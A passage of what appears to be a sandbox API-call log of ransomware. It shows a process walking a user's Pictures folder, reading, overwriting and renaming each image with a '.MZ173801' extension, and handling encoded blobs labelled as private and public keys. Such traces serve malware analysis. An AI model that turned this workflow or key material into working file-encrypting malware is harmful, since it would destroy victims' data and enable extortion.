nNumberOfBytesToWrite=0x791a, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253eba0*, lpNumberOfBytesWritten=0x19fa24*=0x791a, lpOverlapped=0x0) returned 1 [0153.215] CloseHandle (hObject=0x294) returned 1 [0153.217] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\9Ogt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\9ogt.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\9Ogt.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\9ogt.bmp.mz173801")) returned 1 [0153.217] GetCurrentThreadId () returned 0xab4 [0153.217] GetCurrentThreadId () returned 0xab4 [0153.217] GetCurrentThreadId () returned 0xab4 [0153.217] GetCurrentThreadId () returned 0xab4 [0153.217] GetCurrentThreadId () returned 0xab4 [0153.217] GetCurrentThreadId () returned 0xab4 [0153.217] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52fa0710, ftCreationTime.dwHighDateTime=0x1d5eb56, ftLastAccessTime.dwLowDateTime=0x6f178e0, ftLastAccessTime.dwHighDateTime=0x1d5e9f7, ftLastWriteTime.dwLowDateTime=0x6f178e0, ftLastWriteTime.dwHighDateTime=0x1d5e9f7, nFileSizeHigh=0x0, nFileSizeLow=0x113ba, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BjNUPBepTMMyu.bmp", cAlternateFileName="BJNUPB~1.BMP")) returned 1 [0153.217] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.217] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\BjNUPBepTMMyu.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\bjnupbeptmmyu.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52fa0710, ftCreationTime.dwHighDateTime=0x1d5eb56, ftLastAccessTime.dwLowDateTime=0x6f178e0, ftLastAccessTime.dwHighDateTime=0x1d5e9f7, ftLastWriteTime.dwLowDateTime=0x6f178e0, ftLastWriteTime.dwHighDateTime=0x1d5e9f7, nFileSizeHigh=0x0, nFileSizeLow=0x113ba)) returned 1 [0153.218] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\BjNUPBepTMMyu.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\bjnupbeptmmyu.bmp")) returned 0x20 [0153.218] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\BjNUPBepTMMyu.bmp", dwFileAttributes=0x80) returned 1 [0153.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x251dd0c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.223] GetCurrentThreadId () returned 0xab4 [0153.223] GetCurrentThreadId () returned 0xab4 [0153.223] GetCurrentThreadId () returned 0xab4 [0153.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x252ed6c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.224] GetCurrentThreadId () returned 0xab4 [0153.224] GetCurrentThreadId () returned 0xab4 [0153.224] GetCurrentThreadId () returned 0xab4 [0153.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\BjNUPBepTMMyu.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\bjnupbeptmmyu.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.224] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.224] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.224] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x113ba [0153.224] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.224] ReadFile (in: hFile=0x294, lpBuffer=0x2536b70, nNumberOfBytesToRead=0x113ba, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x2536b70*, lpNumberOfBytesRead=0x19fa18*=0x113ba, lpOverlapped=0x0) returned 1 [0153.225] CloseHandle (hObject=0x294) returned 1 [0153.230] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\BjNUPBepTMMyu.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\bjnupbeptmmyu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.232] WriteFile (in: hFile=0x294, lpBuffer=0x2548ba0*, nNumberOfBytesToWrite=0x113ba, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2548ba0*, lpNumberOfBytesWritten=0x19fa24*=0x113ba, lpOverlapped=0x0) returned 1 [0153.234] CloseHandle (hObject=0x294) returned 1 [0153.236] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\BjNUPBepTMMyu.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\bjnupbeptmmyu.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\BjNUPBepTMMyu.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\bjnupbeptmmyu.bmp.mz173801")) returned 1 [0153.237] GetCurrentThreadId () returned 0xab4 [0153.237] GetCurrentThreadId () returned 0xab4 [0153.237] GetCurrentThreadId () returned 0xab4 [0153.237] GetCurrentThreadId () returned 0xab4 [0153.237] GetCurrentThreadId () returned 0xab4 [0153.237] GetCurrentThreadId () returned 0xab4 [0153.237] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe213c110, ftCreationTime.dwHighDateTime=0x1d5f06b, ftLastAccessTime.dwLowDateTime=0x7c0d04b0, ftLastAccessTime.dwHighDateTime=0x1d5ea32, ftLastWriteTime.dwLowDateTime=0x7c0d04b0, ftLastWriteTime.dwHighDateTime=0x1d5ea32, nFileSizeHigh=0x0, nFileSizeLow=0xe482, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BRtkw7h20gut.png", cAlternateFileName="BRTKW7~1.PNG")) returned 1 [0153.237] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.237] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.237] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\BRtkw7h20gut.png" (normalized: "c:\\users\\fd1hvy\\pictures\\brtkw7h20gut.png"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe213c110, ftCreationTime.dwHighDateTime=0x1d5f06b, ftLastAccessTime.dwLowDateTime=0x7c0d04b0, ftLastAccessTime.dwHighDateTime=0x1d5ea32, ftLastWriteTime.dwLowDateTime=0x7c0d04b0, ftLastWriteTime.dwHighDateTime=0x1d5ea32, nFileSizeHigh=0x0, nFileSizeLow=0xe482)) returned 1 [0153.237] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\BRtkw7h20gut.png" (normalized: "c:\\users\\fd1hvy\\pictures\\brtkw7h20gut.png")) returned 0x20 [0153.237] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\BRtkw7h20gut.png", dwFileAttributes=0x80) returned 1 [0153.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXl